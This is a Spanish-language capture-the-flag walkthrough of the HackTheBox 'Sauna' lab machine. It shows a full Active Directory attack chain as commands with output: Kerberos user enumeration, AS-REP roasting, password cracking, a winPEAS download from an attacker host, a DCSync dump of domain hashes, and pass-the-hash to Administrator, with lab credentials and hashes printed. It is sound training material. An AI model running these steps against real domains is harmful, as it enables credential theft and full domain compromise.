HackTheBox Sauna
❯ nmap -sS -Pn -n -vvv --open --min-rate 5000 10.10.10.175 -oG port
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-21 16:58 EDT
Initiating SYN Stealth Scan at 16:58
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 127
80/tcp open http syn-ack ttl 127
88/tcp open kerberos-sec syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
389/tcp open ldap syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
464/tcp open kpasswd5 syn-ack ttl 127
593/tcp open http-rpc-epmap syn-ack ttl 127
636/tcp open ldapssl syn-ack ttl 127
3268/tcp open globalcatLDAP syn-ack ttl 127
3269/tcp open globalcatLDAPssl syn-ack ttl 127
Puertos abiertos
❯ nmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,3269 10.10.10.175 -oN target.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-21 17:01 EDT
Nmap scan report for 10.10.10.175
Host is up (0.037s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Egotistical Bank :: Home
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-04-21 22:37:48Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-04-21T22:37:52
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: 1h36m09s
Puertos versiones y servicios que corren.
❯ ldapsearch -x -H ldap://10.10.10.175 -s base | grep ldapServiceName
ldapServiceName: EGOTISTICAL-BANK.LOCAL:sauna$@EGOTISTICAL-BANK.LOCAL
Comprovamos el dominio y lo agregamos a nuestro /etc/hosts.

Probaremos de acceder al sitio web para ver que nos encontramos, a primera vista no encontramos nada interesante.
Kerberos
❯ kerbrute userenum --dc 10.10.10.175 -d EGOTISTICAL-BANK.local usernames.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 04/21/25 - Ronnie Flathers @ropnop
2025/04/21 17:19:06 > Using KDC(s):
2025/04/21 17:19:06 > 10.10.10.175:88
2025/04/21 17:19:06 > [+] VALID USERNAME: administrator@EGOTISTICAL-BANK.local
2025/04/21 17:19:06 > Done! Tested 17 usernames (1 valid) in 0.105 seconds
Dado que el servicio Kerberos (puerto 88) se encuentra expuesto, utilizaremos la herramienta Kerbrute para realizar una enumeración de usuarios mediante un diccionario personalizado con los nombres que estan en la web. Tras ejecutar el ataque durante un tiempo, únicamente se logró identificar un usuario válido.
Agregue administrator a los ususarios.
Fergus Smith
Shaun Coins
Sophie Driver
Bowie Taylor
Hugo Bear
Steven Kerb
administrator
#!/bin/bash
# Archivo de entrada con nombres completos
input_file="usernamesPage.txt"
output_file="generated-unames.txt"
# Vaciar el archivo de salida
> "$output_file"
while IFS=' ' read -r first last; do
# Pasamos todo a minúsculas
first_lc=$(echo "$first" | tr '[:upper:]' '[:lower:]')
last_lc=$(echo "$last" | tr '[:upper:]' '[:lower:]')
# Generamos combinaciones
echo "$first_lc" >> "$output_file" # first
echo "$last_lc" >> "$output_file" # last
echo "${first_lc:0:1}$last_lc" >> "$output_file" # flast
echo "$first_lc.$last_lc" >> "$output_file" # first.last
echo "${first_lc}${last_lc:0:1}" >> "$output_file" # firstl
done < "$input_file"
Nos creamos un script en bash Este script toma un archivo de entrada (usernamesPage.txt
) que contiene nombres completos (por ejemplo, "Fergus Smith") y genera varias combinaciones de nombres de usuario basadas en diferentes formatos. El resultado se guarda en generated-unames.txt
.

❯ while read username; do impacket-GetNPUsers egotistical-bank.local/"$username" -request -no-pass -dc-ip 10.10.10.175 >> hash.txt; done < generated-unames.txt 2>/dev/null
Con el Impacket de impacket-GetNPUsers procederemos a realizar un ataque para enumerar usuarios con el atributo de autenticación previa don't require Kerberos (DONT_REQ_PREAUTH). Lo que realiza este comando es recorrer línea por línea el archivo generado en el paso anterior para probar con todos los usuarios. Hemos obtenido un tiquet GTG para el usuario "fsmith" con su respectivo hash de Krb5.
❯ echo '$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:4095933151da82e92a4df0d15357d70e$0cd4618143142a11f8681e4265a36886b95de4f9a8af9eea72320389fa1c012f9bde706b6854acb2309b587b2f5894a21bac2c2cab00cb2ba2e76467f911fa591fb1cfb892cb04e9ae2fd63e6a5c81468911478919db03741a0922f15551dd6e9b833a00e91eea6c76d3dc37a0924f91af0e510cbba04a6187bc709376357f38f3da94814d3c491c429dc1faca6f01bbe532b2fa01357713f4a6c9b59373c6dd241e2ebf706ac81148e442033a3dba95e0b7481acd832777838228b9995932caa76ec31cb943c5b127e021cb5f21d7ed9c5764efe1e1fec9bb303802e0625978944dc8e521787b288161d387bcef43c348b95699a5ac2ef33646a23d2cef743c' > fsmith.hash
❯ john -w:/usr/share/wordlists/rockyou.txt fsmith.hash
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 AVX 4x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Thestrokes23 ($krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL)
1g 0:00:00:13 DONE (2025-04-21 17:47) 0.07604g/s 801445p/s 801445c/s 801445C/s Thing..Thehunter22
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Crakeamos el hash y bueno obtenemos la contraseña.
❯ nxc winrm 10.10.10.175 -u 'fsmith' -p 'Thestrokes23' 2>/dev/null
WINRM 10.10.10.175 5985 SAUNA [*] Windows 10 / Server 2019 Build 17763 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL)
WINRM 10.10.10.175 5985 SAUNA [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23 (Pwn3d!)
El comando intenta conectarse al servicio WinRM en la IP 10.10.10.175
usando el usuario fsmith
y la contraseña Thestrokes23
, solo para comprobar si las credenciales son correctas. Si son válidas, la herramienta responderá con éxito. Si no lo son, no mostrará errores porque los estamos ocultando con 2>/dev/null
.

Tenemos la primera bandera la de user.
Privilege Escalation

Invoke-WebRequest -Uri http://10.10.14.18:8000/winPEASx64.exe -OutFile winPEASx64.exe
Nos transferimos el winPeas a la maquina victima.
*Evil-WinRM* PS C:\temp> ./winPEASx64.exe
ÉÍÍÍÍÍÍÍÍÍ͹ Looking for AutoLogon credentials
Some AutoLogon credentials were found
DefaultDomainName : EGOTISTICALBANK
DefaultUserName : EGOTISTICALBANK\svc_loanmanager
DefaultPassword : Moneymakestheworldgoround!
Encontrado un AutoLogon con las credenciales de un usuario.
Impacket-secretsdump ataque DCSync
❯ impacket-secretsdump -just-dc EGOTISTICAL-BANK.LOCAL/svc_loanmgr@10.10.10.175
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4a8899428cad97676ff802229e466e2c:::
EGOTISTICAL-BANK.LOCAL\HSmith:1103:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\FSmith:1105:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:1108:aad3b435b51404eeaad3b435b51404ee:9cb31797c39a9b170b04058ba2bba48c:::
SAUNA$:1000:aad3b435b51404eeaad3b435b51404ee:06d18c457aad735bd4b04b71b5306ca3:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:42ee4a7abee32410f470fed37ae9660535ac56eeb73928ec783b015d623fc657
Administrator:aes128-cts-hmac-sha1-96:a9f3769c592a8a231c3c972c4050be4e
Administrator:des-cbc-md5:fb8f321c64cea87f
krbtgt:aes256-cts-hmac-sha1-96:83c18194bf8bd3949d4d0d94584b868b9d5f2a54d3d6f3012fe0921585519f24
krbtgt:aes128-cts-hmac-sha1-96:c824894df4c4c621394c079b42032fa9
krbtgt:des-cbc-md5:c170d5dc3edfc1d9
EGOTISTICAL-BANK.LOCAL\HSmith:aes256-cts-hmac-sha1-96:5875ff00ac5e82869de5143417dc51e2a7acefae665f50ed840a112f15963324
EGOTISTICAL-BANK.LOCAL\HSmith:aes128-cts-hmac-sha1-96:909929b037d273e6a8828c362faa59e9
EGOTISTICAL-BANK.LOCAL\HSmith:des-cbc-md5:1c73b99168d3f8c7
EGOTISTICAL-BANK.LOCAL\FSmith:aes256-cts-hmac-sha1-96:8bb69cf20ac8e4dddb4b8065d6d622ec805848922026586878422af67ebd61e2
EGOTISTICAL-BANK.LOCAL\FSmith:aes128-cts-hmac-sha1-96:6c6b07440ed43f8d15e671846d5b843b
EGOTISTICAL-BANK.LOCAL\FSmith:des-cbc-md5:b50e02ab0d85f76b
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes256-cts-hmac-sha1-96:6f7fd4e71acd990a534bf98df1cb8be43cb476b00a8b4495e2538cff2efaacba
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes128-cts-hmac-sha1-96:8ea32a31a1e22cb272870d79ca6d972c
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:des-cbc-md5:2a896d16c28cf4a2
SAUNA$:aes256-cts-hmac-sha1-96:e6637feb01bcf83b8b2329ba339944b13b751eb314bd7334d78572c0e25cac30
SAUNA$:aes128-cts-hmac-sha1-96:c5b5b4504b36e2145dfddf2e7948a016
SAUNA$:des-cbc-md5:104c515b86739e08
[*] Cleaning up...
HAcemos ataque DCSync, que consiste en
Hacer que un Domain Controller (DC) te dé los hashes de contraseña como si fueras otro controlador de dominio (¡como si tú también fueras parte del dominio!).
PassTheHash
Una vez obtenido el hash del usuario "Administrator", procederemos a conectarnos al WinRM con evil-winrm indicando que queremos acceder con el usuario "Administrator" y el hash encontrado.

Somos Administrator maquina resuelta.
Última actualización